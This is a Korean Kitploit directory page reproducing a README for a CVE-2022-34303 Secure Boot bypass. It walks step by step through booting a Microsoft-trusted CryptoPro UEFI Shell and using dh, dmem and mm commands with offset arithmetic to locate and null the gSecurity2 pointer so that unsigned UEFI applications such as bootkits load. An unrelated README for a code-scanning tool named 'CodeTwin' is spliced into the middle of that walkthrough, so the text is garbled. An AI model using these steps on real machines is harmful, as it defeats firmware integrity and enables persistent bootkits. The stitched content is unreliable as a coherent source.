Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-34303 — CryptoPro 서명 UEFI Shell을 통한 CVE-2022-34303 Secure Boot 우회를 시연하며, mm 명령을 사용하여 gSecurity2를 무효화하고 서명되지 않은 UEFI 애플리케이션을 로드합니다. | Kitploit
도구/GitHubGitHub/themalwareguardian/cve-2022-34303
Persistence MechanismsVulnerability AnalysisExploitationReverse EngineeringHardware SecurityPapers & ResearchLearning & EducationPayload DevelopmentFirmware Analysis

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
Binary Exploitation
GitHubthemalwareguardian/cve-2022-34303

CVE-2022-34303

CryptoPro 서명 UEFI Shell을 통한 CVE-2022-34303 Secure Boot 우회를 시연하며, mm 명령을 사용하여 gSecurity2를 무효화하고 서명되지 않은 UEFI 애플리케이션을 로드합니다.

저장소 보기
10시간 14분 전아직 검토되지 않음
공유

🕷️ CVE-2022-34303 - CryptoPro 부트 로더 취약점

CryptoPro Secure Disk UEFI Shell - 취약한 UEFI 애플리케이션 직접 사용(BYOVUA) - 서명된 UEFI Shell 및 gSecurity2 손상을 통한 Secure Boot 우회.




📑 목차

  • 개요
  • 배경
    • 취약한 UEFI 애플리케이션 직접 사용
    • 서명된 Shell
    • 취약점
    • mm 명령어
    • gSecurity2와 보안 아키텍처 프로토콜
    • 커널 BYOVD와의 유사점
  • 동작 방식
    • 1단계 - 서명된 Shell 부팅
    • 2단계 - Security2 프로토콜 핸들 열거
    • 3단계 - 메모리에서 gSecurity2 찾기
    • 4단계 - gSecurity2 무효화
    • 5단계 - 서명되지 않은 UEFI 애플리케이션 로드
    • 6단계 - startup.nsh를 통한 지속성
    • 추가 - 발견 과정
  • 익스플로잇
  • 실습 환경 구성
  • 참고 자료



개요

이 저장소는 CVE-2022-34303을 악용하여 BYOVUA (Bring Your Own Vulnerable UEFI Application) 기법을 시연합니다. CVE-2022-34303은 CryptoPro Secure Disk UEFI 부팅 환경의 Secure Boot 우회 취약점입니다.

이 경우 Secure Boot가 신뢰하는 구성 요소는 Microsoft의 UEFI Third Party Certificate Authority가 서명한 사용자 정의 shim입니다. 이 shim이 실행되면 2단계로 UEFI Shell을 로드하며, 이를 통해 mm (memory modify) 명령어가 노출되어 OS 부팅 전 단계에서 임의 메모리 읽기 및 쓰기 기능을 제공합니다.

이 프리미티브를 사용하여 DXE 코어의 gSecurity2 전역 포인터를 찾아 무효화할 수 있습니다. 그 결과 이후의 UEFI 이미지 검증이 비활성화되어, Secure Boot가 활성화된 상태에서도 서명되지 않은 UEFI 애플리케이션, 즉 부트킷을 로드할 수 있게 됩니다.




배경


취약한 UEFI 애플리케이션 직접 사용

BYOVUA는 커널 수준에서 사용되는 BYOVD (Bring Your Own Vulnerable Driver) 기법의 UEFI 버전입니다. 취약점이 있는 서명된 커널 드라이버를 가져오는 대신, 공격자는 Secure Boot를 무력화할 수 있는 기능을 포함한 서명된 UEFI 애플리케이션 - 이 경우 전체 UEFI Shell - 을 가져옵니다.

이 애플리케이션 - 이 경우 UEFI Shell을 2단계로 로드하는 사용자 정의 shim - 은 Microsoft가 신뢰하는 인증서로 서명되어 있기 때문에 Secure Boot에서 의심 없이 허용되며, 이 인증서를 Secure Boot 데이터베이스(db)에 포함한 모든 시스템 - 지난 10년간 출시된 거의 모든 UEFI 지원 PC - 에서 신뢰됩니다. 일단 실행되면 내장 명령어를 통해 공격자에게 직접적인 하드웨어 및 메모리 접근 권한을 제공하며, 이는 운영 체제가 로드되기 전에 작동하여 현대적인 보안 제어(ASLR, DEP, 커널 보호)가 존재하지 않는 환경입니다.

도구 다운로드

서명된 Shell

Shell_Full.efi는 사전 부팅 인증 및 디스크 암호화 제품인 CryptoPro Secure Disk의 일부로 배포되는 UEFI Shell입니다.

속성값
파일Shell_Full.efi = EFI/Boot/BootX64.efi (SHIM) -> EFI/CPSD/Bootxsa.efi (Shell)
벤더CryptoPro Secure Disk
CVECVE-2022-34303
서명Microsoft Corporation UEFI CA 2011 (Third Party)
발견Eclypsium (Mickey Shkatov, Jesse Michael) - 2022년 8월
발표DEF CON 30 - "One Bootloader to Load Them All"
폐기Microsoft KB5012170을 통해 DBX에 추가됨 (2022년 8월)

취약점

이 취약점은 버그가 아니라 설계 결함입니다. UEFI Shell은 Secure Boot 환경에서 실행되도록 의도되지 않은 정당한 진단 도구입니다. 그러나 Microsoft가 신뢰하는 인증서로 서명하고 상용 제품의 일부로 배포함으로써, 벤더들은 의도치 않게 Secure Boot에 대한 서명된 우회 경로를 만들어냈습니다.

핵심 문제: Secure Boot가 신뢰하는 서명된 바이너리가 내장 명령어를 통해 무제한적인 메모리 읽기/쓰기 기능을 제공한다는 것입니다. 이러한 조합은 전체 Secure Boot 신뢰 모델을 무너뜨립니다.


mm 명령어

mm (memory modify) 명령어는 시스템 메모리에 대한 직접적인 읽기 및 쓰기 접근을 제공하는 표준 UEFI Shell 내장 명령어입니다. 이는 UEFI Shell Specification (섹션 5.3)에 문서화되어 있습니다.``` MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]

root@kitploit:~
| 파라미터 | 설명 |
|-----------|-------------|
| `Address` | 대상 메모리 주소 |
| `Value` | 기록할 값 (읽기 전용인 경우 생략) |
| `-w` | 너비: 1, 2, 4, 또는 8 바이트 |
| `-MEM` | 시스템 메모리 접근 |
| `-MMIO` | 메모리 매핑 I/O |
| `-IO` | I/O 포트 접근 |
| `-n` | 비대화형 (다음 주소에 대한 프롬프트 없음) |

---

<div id='gsecurity2'/>

### ***gSecurity2와 보안 아키텍처 프로토콜***

UEFI에서의 보안 부팅 이미지 검증은 UEFI 플랫폼 초기화(PI) 명세에 정의된 [보안 아키텍처 프로토콜](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols)을 통해 강제됩니다.

DXE 코어(DxeMain)는 [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252)라는 전역 포인터를 유지하며, 이는 `EFI_SECURITY2_ARCH_PROTOCOL` 구조체를 가리킵니다. 이 프로토콜은 단일 함수 포인터인 `FileAuthenticationState`를 포함하며, 이는 UEFI 이미지가 로드될 때마다 `LoadImage()`에 의해 호출됩니다:```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
	EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;

// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68

LoadImage()가 호출되면 DXE 코어는 다음을 확인합니다:```c if (gSecurity2 != NULL) { Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy ); if (EFI_ERROR(Status)) { // Image rejected - signature verification failed } }

root@kitploit:~
`gSecurity2 = NULL`로 설정하면 `if` 검사가 실패하고 `FileAuthenticationState`가 호출되지 않는다. 이미지 검증이 완전히 건너뛰어진다 - **Secure Boot는 "활성화"된 상태로 남지만 더 이상 강제되지 않는다**. 서명되지 않은 UEFI 애플리케이션을 자유롭게 로드할 수 있게 된다.

gSecurity2를 자동으로 찾아 패치하는 목적에 맞게 제작된 UEFI 애플리케이션을 포함한 이 기법에 대한 심층적인 기술적 이해는 동반 프로젝트를 참조하라: [Exploitation Technique - UEFI Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption).

---

<div id='BYOVD'/>

### ***커널 BYOVD와의 유사점***

UEFI BYOVUA와 커널 BYOVD 사이의 구조적 유사점은 정확히 일치한다:```
┌──────────────────────────────────────────────────────────────┐
│  UEFI BYOVUA (Secure Boot Bypass)                            │
│                                                              │
│  Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned     │
│  (trusted by          (Security2 Protocol)   UEFI apps       │
│   Secure Boot)                                               │
├──────────────────────────────────────────────────────────────┤
│  Kernel BYOVD (DSE Bypass)                                   │
│                                                              │
│  Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned   │
│  (trusted by              (CI.dll)            kernel drivers │
│   DSE / CI)                                                  │
└──────────────────────────────────────────────────────────────┘

두 공격 모두 동일한 근본적인 결함을 악용합니다. 보안 메커니즘에 의해 신뢰되는 서명된 구성 요소가 바로 그 메커니즘을 비활성화하는 데 필요한 기본 요소를 제공한다는 점입니다.




작동 방식


1단계 - 서명된 셸 부팅

서명된 Shell_Full.efi는 EFI 시스템 파티션(ESP)에 배치되고 부팅 옵션으로 구성됩니다. Secure Boot가 신뢰하는 인증서 체인으로 서명되어 있기 때문에 펌웨어는 문제없이 이를 검증하고 로드합니다.``` EFI System Partition (ESP) └── EFI/ └── Boot/ | └── BootX64.efi (SHIM) ← Signed by Microsoft Windows UEFI Driver Publisher | └── CPSD/ └── Bootxsa.efi (Shell) ← Signed by Security Coding Factory Software CA └── startup.nsh (Script) ← Auto-executed on shell launch

root@kitploit:~
---

<div id='Phase2'/>

### ***Phase 2 - Security2 프로토콜 핸들 열거***

UEFI Shell에서 목표는 `EFI_SECURITY2_ARCH_PROTOCOL` (GUID: `94AB2F58-1438-4EF1-9152-18941A3A0E68`)을 노출하는 핸들을 찾고, 해당 프로토콜 인터페이스의 메모리 주소를 얻는 것이다.

> **참고:** `dh -p <GUID>` 명령은 대부분의 EDK2 Shell 빌드에서 원시 GUID를 해석하지 않는다 - 등록된 프로토콜 이름만 인식한다. 아래 접근 방식은 모든 EDK2 Shell 버전에서 작동한다.

**Step 1 - SecurityStubDxe 핸들 찾기**

모든 핸들을 나열하고 `SecurityStubDxe`를 찾는다. 이는 두 Security Architectural Protocol을 모두 설치하는 DXE 드라이버이다:```
Shell> dh

출력에서 SecurityStubDxe로 로드된 핸들을 식별합니다:``` 10: Image(SecurityStubDxe)

root@kitploit:~
**2단계 - 인접 핸들 검사**

`SecurityStubDxe`는 별도의 핸들에 Security 프로토콜을 설치하며, 일반적으로 바로 다음에 오는 핸들입니다. 이러한 핸들은 Shell이 해당 GUID를 친숙한 이름으로 매핑할 수 없기 때문에 짧은 목록에서 비어 있는 것으로 나타납니다. 상세 모드로 검사하십시오:```
Shell> dh -v 11

예상 출력:``` Handle 11 (3EFCEF18) A46423E3-4617-49F1-B9FF-D1BFA9115839 (3EE8C398) 94AB2F58-1438-4EF1-9152-18941A3A0E68 (3EE8C3A0)

root@kitploit:~
핸들 `0x11`에 이러한 GUID가 포함되어 있지 않으면 `0x12`를 시도하십시오. 정확한 핸들 번호는 펌웨어 빌드마다 다릅니다.

**3단계 - 인터페이스 주소 기록**

두 프로토콜과 해당 인터페이스 주소는 다음과 같습니다:

| GUID | 프로토콜 | 인터페이스 주소 |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |

**Security2 인터페이스 주소**(이 예시에서는 `0x3EE8C3A0`)는 DxeMain 내부의 `gSecurity2` 전역 포인터가 저장하는 값입니다. 이 값은 3단계에서 필요합니다.

---

<div id='Phase3'/>

### ***3단계 - 메모리에서 gSecurity2 찾기***

`gSecurity2` 변수는 DXE 코어(`DxeMain`) 내부의 전역 포인터입니다. 그 값은 2단계에서 찾은 프로토콜 인터페이스 주소와 같습니다. 목표는 이 포인터가 저장된 메모리 주소를 찾는 것입니다. 포인터의 값이 아니라 변수 자체를 찾는 것입니다.

**1단계 - DXE 코어 이미지 레이아웃 가져오기**```
Shell> dh -v 1

주요 기능

  • 다중 소스 수집: GitHub, GitLab, Bitbucket, 로컬 디렉터리, ZIP 아카이브, 개별 파일
  • 다중 언어 지원: Python, JavaScript/TypeScript, Java, Go, PHP, Ruby, C/C++, C#, Rust, Kotlin, Swift, Scala, Shell, SQL, HTML, CSS, YAML, JSON, XML, Terraform, Dockerfile
  • 보안 스캐닝: 100개 이상의 내장 규칙으로 OWASP Top 10, CWE Top 25, 시크릿, 안티패턴 탐지
  • 의존성 분석: 취약점, 라이선스 준수, 오래된 패키지, 순환 의존성
  • 코드 품질: 복잡도, 중복, 코드 스멜, 유지보수성 지표
  • 아키텍처 분석: 계층 구조, 순환 의존성, 결합도, 응집도
  • 다중 형식 보고서: Markdown, JSON, HTML, SARIF, CSV, 텍스트
  • CI/CD 통합: GitHub Actions, GitLab CI, Jenkins, 모든 CI 시스템
  • LLM 기반 분석: 선택적 AI 기반 인사이트 및 수정 제안
  • 증분 스캐닝: 캐싱을 통한 빠른 재스캔
  • 병렬 처리: 설정 가능한 동시성으로 빠른 분석

설치

PyPI에서 설치

root@kitploit:~
pip install codetwin

소스에서 설치

root@kitploit:~
git clone https://github.com/yourusername/codetwin.git
cd codetwin
pip install -e .

Docker 사용

root@kitploit:~
docker build -t codetwin .
docker run -v $(pwd):/workspace codetwin scan /workspace

빠른 시작

기본 스캔

root@kitploit:~
# 로컬 디렉터리 스캔
codetwin scan /path/to/project

# GitHub 저장소 스캔
codetwin scan https://github.com/user/repo

# 특정 브랜치 스캔
codetwin scan https://github.com/user/repo --branch develop

설정 파일

프로젝트 루트에 codetwin.yaml을 생성하세요:

root@kitploit:~
version: "1.0"

scan:
  sources:
    - path: "."
      type: "local"
    - url: "https://github.com/user/repo"
      type: "github"
      branch: "main"

  exclude:
    - "**/node_modules/**"
    - "**/.git/**"
    - "**/venv/**"
    - "**/__pycache__/**"

  languages:
    - python
    - javascript
    - go

analyzers:
  security:
    enabled: true
    severity_threshold: "medium"
    rules:
      - "OWASP-*"
      - "CWE-*"

  dependencies:
    enabled: true
    check_vulnerabilities: true
    check_licenses: true
    check_outdated: true

  quality:
    enabled: true
    complexity_threshold: 15
    duplication_threshold: 0.05

  architecture:
    enabled: true
    detect_cycles: true
    layer_definitions:
      - name: "presentation"
        patterns: ["**/controllers/**", "**/views/**"]
      - name: "business"
        patterns: ["**/services/**", "**/domain/**"]
      - name: "data"
        patterns: ["**/repositories/**", "**/models/**"]

reporting:
  formats:
    - markdown
    - json
    - html
    - sarif

  output_dir: "./reports"

  include:
    - summary
    - findings
    - metrics
    - recommendations

llm:
  enabled: false
  provider: "openai"
  model: "gpt-4"
  api_key_env: "OPENAI_API_KEY"

CLI 사용법

root@kitploit:~
# 설정 파일로 스캔
codetwin scan --config codetwin.yaml

# 특정 분석기 실행
codetwin scan /path/to/project --analyzers security,dependencies

# 출력 형식 지정
codetwin scan /path/to/project --format json,html

# 심각도별 필터링
codetwin scan /path/to/project --severity high,critical

# LLM 분석 활성화
codetwin scan /path/to/project --llm --llm-provider openai

# 증분 스캔
codetwin scan /path/to/project --incremental

# 병렬 처리
codetwin scan /path/to/project --workers 8

사용 예시

보안 스캐닝

root@kitploit:~
# 보안 취약점 스캔
codetwin scan /path/to/project --analyzers security --format sarif

# 특정 규칙으로 스캔
codetwin scan /path/to/project --rules "OWASP-A01,OWASP-A02"

# 시크릿 스캔
codetwin scan /path/to/project --scan-secrets

의존성 분석

root@kitploit:~
# 의존성 분석
codetwin scan /path/to/project --analyzers dependencies

# 취약점 확인
codetwin scan /path/to/project --check-vulnerabilities

# 라이선스 준수 확인
codetwin scan /path/to/project --check-licenses

코드 품질

root@kitploit:~
# 코드 품질 분석
codetwin scan /path/to/project --analyzers quality

# 복잡도 임계값 설정
codetwin scan /path/to/project --complexity-threshold 20

# 중복 확인
codetwin scan /path/to/project --check-duplication

아키텍처 분석

root@kitploit:~
# 아키텍처 분석
codetwin scan /path/to/project --analyzers architecture

# 순환 의존성 탐지
codetwin scan /path/to/project --detect-cycles

# 계층 위반 확인
codetwin scan /path/to/project --check-layers

설정

전체 설정 참조

root@kitploit:~
version: "1.0"

# 스캔 설정
scan:
  sources:
    - path: "."
      type: "local"
    - url: "https://github.com/user/repo"
      type: "github"
      branch: "main"
      token_env: "GITHUB_TOKEN"

  exclude:
    - "**/node_modules/**"
    - "**/.git/**"
    - "**/venv/**"
    - "**/__pycache__/**"
    - "**/dist/**"
    - "**/build/**"

  include:
    - "**/*.py"
    - "**/*.js"
    - "**/*.ts"
    - "**/*.go"

  languages:
    - python
    - javascript
    - typescript
    - go
    - java

  max_file_size: 1048576  # 1MB
  follow_symlinks: false
  respect_gitignore: true

# 분석기 설정
analyzers:
  security:
    enabled: true
    severity_threshold: "low"
    rules:
      - "OWASP-*"
      - "CWE-*"
      - "SECRET-*"
    custom_rules_dir: "./custom-rules"
    exclude_rules:
      - "OWASP-A09"

  dependencies:
    enabled: true
    check_vulnerabilities: true
    check_licenses: true
    check_outdated: true
    vulnerability_db: "osv"
    license_allowlist:
      - "MIT"
      - "Apache-2.0"
      - "BSD-3-Clause"
    license_denylist:
      - "GPL-3.0"
      - "AGPL-3.0"

  quality:
    enabled: true
    complexity_threshold: 15
    duplication_threshold: 0.05
    min_duplication_lines: 10
    check_dead_code: true
    check_unused_imports: true

  architecture:
    enabled: true
    detect_cycles: true
    max_cycle_length: 10
    layer_definitions:
      - name: "presentation"
        patterns: ["**/controllers/**", "**/views/**", "**/api/**"]
      - name: "business"
        patterns: ["**/services/**", "**/domain/**", "**/use-cases/**"]
      - name: "data"
        patterns: ["**/repositories/**", "**/models/**", "**/entities/**"]
    forbidden_dependencies:
      - from: "presentation"
        to: "data"
      - from: "business"
        to: "presentation"

# 보고서 설정
reporting:
  formats:
    - markdown
    - json
    - html
    - sarif
    - csv

  output_dir: "./reports"
  filename_template: "codetwin-{timestamp}"

  include:
    - summary
    - findings
    - metrics
    - recommendations
    - code_snippets

  max_findings_per_rule: 100
  group_by: "severity"

# LLM 설정
llm:
  enabled: false
  provider: "openai"  # openai, anthropic, azure, local
  model: "gpt-4"
  api_key_env: "OPENAI_API_KEY"
  base_url: null
  max_tokens: 4096
  temperature: 0.2
  features:
    - "explain_findings"
    - "suggest_fixes"
    - "generate_summary"
    - "prioritize_issues"

# 캐시 설정
cache:
  enabled: true
  dir: ".codetwin-cache"
  ttl: 86400  # 24시간

# 로깅 설정
logging:
  level: "INFO"
  format: "json"
  file: "./codetwin.log"

분석기

보안 분석기

보안 분석기는 다음을 포함한 보안 취약점을 탐지합니다:

  • OWASP Top 10: 인젝션, 인증 결함, 민감 데이터 노출
  • CWE Top 25: 가장 위험한 소프트웨어 약점
  • 시크릿: API 키, 비밀번호, 토큰, 인증서
  • 안티패턴: 안전하지 않은 암호화, 약한 난수 생성, 안전하지 않은 역직렬화
root@kitploit:~
codetwin scan /path/to/project --analyzers security --severity high,critical

의존성 분석기

의존성 분석기는 다음을 수행합니다:

  • 알려진 취약점이 있는 의존성 식별
  • 라이선스 준수 확인
  • 오래된 패키지 탐지
  • 순환 의존성 탐지
  • 사용하지 않는 의존성 식별
root@kitploit:~
codetwin scan /path/to/project --analyzers dependencies --check-vulnerabilities

품질 분석기

품질 분석기는 다음을 측정합니다:

  • 순환 복잡도
  • 인지 복잡도
  • 코드 중복
  • 코드 스멜
  • 유지보수성 지수
  • 기술 부채
root@kitploit:~
codetwin scan /path/to/project --analyzers quality --complexity-threshold 15

아키텍처 분석기

아키텍처 분석기는 다음을 분석합니다:

  • 계층 구조 및 위반
  • 순환 의존성
  • 결합도 및 응집도
  • 모듈 경계
  • 의존성 그래프
root@kitploit:~
codetwin scan /path/to/project --analyzers architecture --detect-cycles

보고서

Markdown 보고서

root@kitploit:~
codetwin scan /path/to/project --format markdown --output-dir ./reports

JSON 보고서

root@kitploit:~
codetwin scan /path/to/project --format json --output-dir ./reports

HTML 보고서

root@kitploit:~
codetwin scan /path/to/project --format html --output-dir ./reports

SARIF 보고서

root@kitploit:~
codetwin scan /path/to/project --format sarif --output-dir ./reports

CSV 보고서

root@kitploit:~
codetwin scan /path/to/project --format csv --output-dir ./reports

CI/CD 통합

GitHub Actions

root@kitploit:~
name: CodeTwin Scan

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: '3.11'

      - name: Install CodeTwin
        run: pip install codetwin

      - name: Run scan
        run: codetwin scan . --format sarif --output-dir ./reports

      - name: Upload SARIF
        uses: github/codeql-action/upload-sarif@v3
        with:
          sarif_file: ./reports/codetwin.sarif

      - name: Upload reports
        uses: actions/upload-artifact@v4
        with:
          name: codetwin-reports
          path: ./reports/

GitLab CI

root@kitploit:~
codetwin:
  image: python:3.11
  stage: test
  script:
    - pip install codetwin
    - codetwin scan . --format json --output-dir ./reports
  artifacts:
    paths:
      - ./reports/
    reports:
      sast: ./reports/codetwin.sarif
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
    - if: $CI_COMMIT_BRANCH == "main"

Jenkins

root@kitploit:~
pipeline {
    agent any

    stages {
        stage('Scan') {
            steps {
                sh 'pip install codetwin'
                sh 'codetwin scan . --format json --output-dir ./reports'
            }
        }
    }

    post {
        always {
            archiveArtifacts artifacts: 'reports/**', fingerprint: true
        }
    }
}

고급 사용법

사용자 정의 규칙

custom-rules 디렉터리에 사용자 정의 보안 규칙을 생성하세요:

root@kitploit:~
# custom-rules/my-rule.yaml
id: "CUSTOM-001"
name: "하드코딩된 자격 증명"
description: "소스 코드에 하드코딩된 자격 증명을 탐지합니다"
severity: "high"
category: "security"
languages:
  - python
  - javascript
  - go

patterns:
  - pattern: |
      password = "..."
  - pattern: |
      api_key = "..."
  - pattern: |
      secret = "..."

message: "하드코딩된 자격 증명이 발견되었습니다. 환경 변수나 시크릿 관리자를 사용하세요."
remediation: "자격 증명을 환경 변수나 시크릿 관리 서비스로 이동하세요."
references:
  - "https://cwe.mitre.org/data/definitions/798.html"

LLM 기반 분석

root@kitploit:~
# OpenAI로 LLM 분석 활성화
export OPENAI_API_KEY="your-api-key"
codetwin scan /path/to/project --llm --llm-provider openai --llm-model gpt-4

# Anthropic으로 LLM 분석 활성화
export ANTHROPIC_API_KEY="your-api-key"
codetwin scan /path/to/project --llm --llm-provider anthropic --llm-model claude-3-opus

# 로컬 LLM으로 LLM 분석 활성화
codetwin scan /path/to/project --llm --llm-provider local --llm-base-url http://localhost:11434

증분 스캐닝

root@kitploit:~
# 증분 스캔 활성화
codetwin scan /path/to/project --incremental

# 캐시 지우기
codetwin cache clear

# 캐시 통계 표시
codetwin cache stats

병렬 처리

root@kitploit:~
# 워커 수 설정
codetwin scan /path/to/project --workers 8

# 배치 크기 설정
codetwin scan /path/to/project --batch-size 100

개발

개발 환경 설정

root@kitploit:~
# 저장소 복제
git clone https://github.com/yourusername/codetwin.git
cd codetwin

# 가상 환경 생성
python -m venv venv
source venv/bin/activate  # Windows: venv\Scripts\activate

# 개발 의존성 설치
pip install -e ".[dev]"

# 테스트 실행
pytest

# 린터 실행
ruff check .

# 타입 검사 실행
mypy codetwin

프로젝트 구조

root@kitploit:~
codetwin/
├── codetwin/
│   ├── __init__.py
│   ├── cli.py
│   ├── config.py
│   ├── models.py
│   ├── analyzers/
│   │   ├── __init__.py
│   │   ├── base.py
│   │   ├── security.py
│   │   ├── dependencies.py
│   │   ├── quality.py
│   │   └── architecture.py
│   ├── collectors/
│   │   ├── __init__.py
│   │   ├── base.py
│   │   ├── github.py
│   │   ├── gitlab.py
│   │   ├── bitbucket.py
│   │   └── local.py
│   ├── reporters/
│   │   ├── __init__.py
│   │   ├── base.py
│   │   ├── markdown.py
│   │   ├── json.py
│   │   ├── html.py
│   │   ├── sarif.py
│   │   └── csv.py
│   ├── rules/
│   │   ├── __init__.py
│   │   ├── loader.py
│   │   └── builtin/
│   │       ├── owasp.yaml
│   │       ├── cwe.yaml
│   │       └── secrets.yaml
│   └── utils/
│       ├── __init__.py
│       ├── cache.py
│       ├── llm.py
│       └── logging.py
├── tests/
├── docs/
├── pyproject.toml
├── README.md
└── LICENSE

테스트 실행

root@kitploit:~
# 모든 테스트 실행
pytest

# 커버리지와 함께 실행
pytest --cov=codetwin --cov-report=html

# 특정 테스트 파일 실행
pytest tests/test_security.py

# 특정 테스트 실행
pytest tests/test_security.py::test_sql_injection

문제 해결

일반적인 문제

문제: 스캔이 너무 오래 걸림

해결책: 제외 패턴을 사용하고, 워커 수를 늘리며, 증분 스캐닝을 활성화하세요:

root@kitploit:~
codetwin scan /path/to/project --exclude "**/node_modules/**" --workers 8 --incremental

문제: 메모리 사용량이 높음

해결책: 배치 크기를 줄이고, 파일 크기 제한을 설정하세요:

root@kitploit:~
codetwin scan /path/to/project --batch-size 50 --max-file-size 524288

문제: LLM 분석 실패

해결책: API 키와 네트워크 연결을 확인하세요:

root@kitploit:~
export OPENAI_API_KEY="your-api-key"
codetwin scan /path/to/project --llm --llm-provider openai --verbose

문제: 권한 거부 오류

해결책: 파일 권한을 확인하고, 필요한 경우 sudo로 실행하세요:

root@kitploit:~
sudo codetwin scan /path/to/project

디버그 모드

root@kitploit:~
# 디버그 로깅 활성화
codetwin scan /path/to/project --debug

# 상세 출력 활성화
codetwin scan /path/to/project --verbose

# 로그를 파일에 저장
codetwin scan /path/to/project --log-file ./codetwin.log

기여

기여를 환영합니다! 자세한 내용은 CONTRIBUTING.md를 참조하세요.

기여 방법

  1. 저장소를 포크하세요
  2. 기능 브랜치를 생성하세요 (git checkout -b feature/amazing-feature)
  3. 변경 사항을 커밋하세요 (git commit -m 'Add amazing feature')
  4. 브랜치에 푸시하세요 (git push origin feature/amazing-feature)
  5. Pull Request를 여세요

개발 가이드라인

  • PEP 8 스타일 가이드를 따르세요
  • 새로운 기능에 대한 테스트를 작성하세요
  • 필요에 따라 문서를 업데이트하세요
  • 커밋하기 전에 모든 테스트가 통과하는지 확인하세요

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하세요.

감사의 글

  • OWASP - 보안 규칙 및 가이드라인
  • CWE - 취약점 분류
  • OSV - 취약점 데이터베이스
  • Semgrep - 정적 분석 영감
  • Bandit - Python 보안 스캐닝
  • ESLint - JavaScript 린팅
  • SonarQube - 코드 품질 지표

지원

  • 문서: https://codetwin.readthedocs.io
  • 이슈: https://github.com/yourusername/codetwin/issues
  • 토론: https://github.com/yourusername/codetwin/discussions
  • 이메일: [email protected]

로드맵

  • 실시간 스캐닝을 위한 IDE 플러그인
  • 웹 기반 대시보드
  • 추가 언어 지원
  • 사용자 정의 규칙 빌더
  • 팀 협업 기능
  • 클라우드 기반 스캐닝
  • 성능 최적화
  • 추가 보고서 형식

CodeTwin으로 만들어졌습니다 - 코드의 디지털 트윈을 생성하세요.``` Handle 01 (3F4ECB18) Image (3FEAFB08) File:DxeCore ImageBase.....: 3FE94000 - 3FEBB000 ImageSize.....: 27000

root@kitploit:~
`ImageBase`(`0x3FE94000`)를 기록합니다.

**2단계 - PE 헤더를 파싱하여 `.data` 섹션 찾기**

`.data` 섹션에는 `gSecurity2`를 포함한 초기화된 전역 변수가 들어 있습니다. 이미지 전체를 무작정 스캔하는 대신, PE 헤더를 파싱하여 정확한 `.data` 경계를 찾습니다.

MZ 헤더를 읽어 PE 헤더 오프셋을 가져옵니다(오프셋 `0x3C`에 있는 DWORD):```
Shell> dmem <ImageBase> 100

출력에서 ImageBase로부터 오프셋 0x3C를 확인합니다. 예를 들어, ImageBase가 0x3FE94000인 경우:``` 3FE9403C: C0 00 00 00

root@kitploit:~
이는 PE 서명이 `ImageBase`로부터 `0xC0` 오프셋에 위치함을 의미합니다.

**3단계 - 섹션 테이블 읽기**

섹션 테이블 오프셋은 다음과 같이 계산됩니다:```
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader

PE_offset + 20에 있는 COFF 헤더를 읽어 SizeOfOptionalHeader(WORD)를 가져옵니다:``` Shell> dmem <ImageBase + PE_offset> 20

root@kitploit:~
PE32+(x64) UEFI 이미지의 경우 `SizeOfOptionalHeader`는 일반적으로 `0xF0`입니다. 예시에서는:```
section_table = 0x3FE94000 + 0xC0 + 4 + 20 + 0xF0 = 0x3FE941C8

섹션 테이블을 덤프합니다 (5개 섹션 × 40바이트 = 200바이트):``` Shell> dmem 3FE941C8 140

root@kitploit:~
각 섹션 항목은 40바이트입니다:

| 오프셋 | 크기 | 필드 |
|--------|------|-------|
| 0 | 8 | Name (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |

`.data` 섹션 항목을 찾으세요. 예시 출력:```
  3FE941F0: 2E 64 61 74 61 00 00 00   ← ".data"
  3FE941F8: B0 9E 00 00               ← VirtualSize = 0x9EB0
  3FE941FC: 60 AA 01 00               ← VirtualAddress (RVA) = 0x1AA60

절대 .data 경계를 계산합니다:``` data_start = ImageBase + VirtualAddress = 0x3FE94000 + 0x1AA60 = 0x3FEAEA60 data_end = data_start + VirtualSize = 0x3FEAEA60 + 0x9EB0 = 0x3FEB4910

root@kitploit:~
**4단계 - 인터페이스 포인터를 위해 `.data` 스캔**

